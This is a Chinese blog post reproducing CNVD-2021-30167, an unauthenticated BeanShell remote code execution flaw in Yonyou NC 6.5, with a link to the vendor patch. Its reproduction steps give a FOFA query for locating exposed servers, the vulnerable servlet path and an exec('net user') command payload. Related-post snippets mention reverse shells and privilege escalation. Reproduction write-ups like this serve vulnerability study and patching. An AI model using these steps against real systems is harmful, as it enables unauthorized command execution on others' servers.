CNVD-2021-30167 用友NC命令执行漏洞复现

一、漏洞概述
2021年06月03日，用友官方发布了用友BeanShell远程代码执行漏洞的风险通告，漏洞编号为CNVD-2021-30167，漏洞等级：严重，漏洞评分：9.8。

用友NC是面向集团企业的管理软件，其在同类市场占有率中达到亚太第一。成功利用该漏洞的攻击者可以直接在目标机器上执行任意代码，并以用友NC软件的用户权限执行任意命令。

该漏洞是由于用友NC对外开放了BeanShell接口，攻击者可以在未授权的情况下直接访问该接口，并构造恶意数据执行任意代码并获取服务器权限。

该漏洞利用复杂度低，攻击者无需用户交互及相关权限便可直接执行任意代码，危害度很高。

二、影响版本
NC6.5版本

三、漏洞复现
1、使用fofa进行搜索
语法：title='YONYOU NC'

2.URL访问测试接口
/servlet/~ic/bsh.servlet.BshServlet

3、任意代码执行
exec("net user");

4.修复方式
用友NC官方说明：该漏洞为第三方jar包漏洞导致，用友NC官方已于4月9日解决并验证，且已通过服务渠道推送了解决方案，授权用户可以访问下载链接进行下载。补丁下载地址：
http://umc.yonyou.com/ump/querypatchdetailedmng?PK=18981c7af483007db179a236016f594d37c01f22aa5f5d19

CNVD-2021-30167 用友NC命令执行漏洞复现相关推荐

用友远程命令执行漏洞并提权
用友的命令执行漏洞,print hello 发现可以执行命令 , whami 和id 都查一波权限,发现是root,呵呵,权限这么大,很好搞啊 ps -ef|grep sshd 查一波发现可以ssh ...
CNVD-2022-03672/CNVD-2022-10270：向日葵简约版/向日葵个人版for Windows命令执行漏洞复现及修复建议
CNVD-2022-03672/CNVD-2022-10270:向日葵简约版/向日葵个人版for Windows命令执行漏洞复现及修复建议本文仅为验证漏洞,在本地环境测试验证,无其它目的漏洞编号: ...
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现漏洞环境搭建漏洞复现反弹shell 题外话1 题外话2 影响版本:Apache Shiro <= 1.2.4 漏洞产生 ...
华为路由器远程命令执行漏洞复现(CVE-2017-17215)
华为路由器远程命令执行漏洞复现(CVE-2017-17215) 漏洞内容这个漏洞算是比较老的一种漏洞了,但是具有一定的学习价值. CheckPoint报告华为HG532路由器产品存在远程命令执行漏洞 ...
PHPMailer远程命令执行漏洞复现
PHPMailer远程命令执行漏洞复现一.漏洞简介 PHPMailer是PHP电子邮件创建及传输类,用于多个开源项目:WordPress, Drupal, 1CRM, SugarCRM, Yii, ...
FastJson1.2.24反序列化导致任意命令执行漏洞复现（CVE-2017-18349）
#FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...
【vulhub】Apereo CAS 4.1 反序列化命令执行漏洞复现
楼主困了,这里就直接写上楼主自己的一些操作详细过程可以看Apereo CAS 4.1 反序列化命令执行漏洞复现特征: 1.网站根目录下有cas目录 2.如图所示,有apereo CAS图标 3.如 ...
开源堡垒机JumpServer远程命令执行漏洞复现
声明好好学习,天天向上漏洞描述 JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统.JumpServer 使用Python ...
Dlink路由器 CNVD-2018-01084 远程命令执行漏洞复现分析
Dlink路由器 CNVD-2018-01084复现分析 0x01 背景介绍 D-Link DIR 615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞.该漏洞是由于service ...

CNVD-2021-30167 用友NC命令执行漏洞复现

CNVD-2021-30167 用友NC命令执行漏洞复现相关推荐

最新文章

热门文章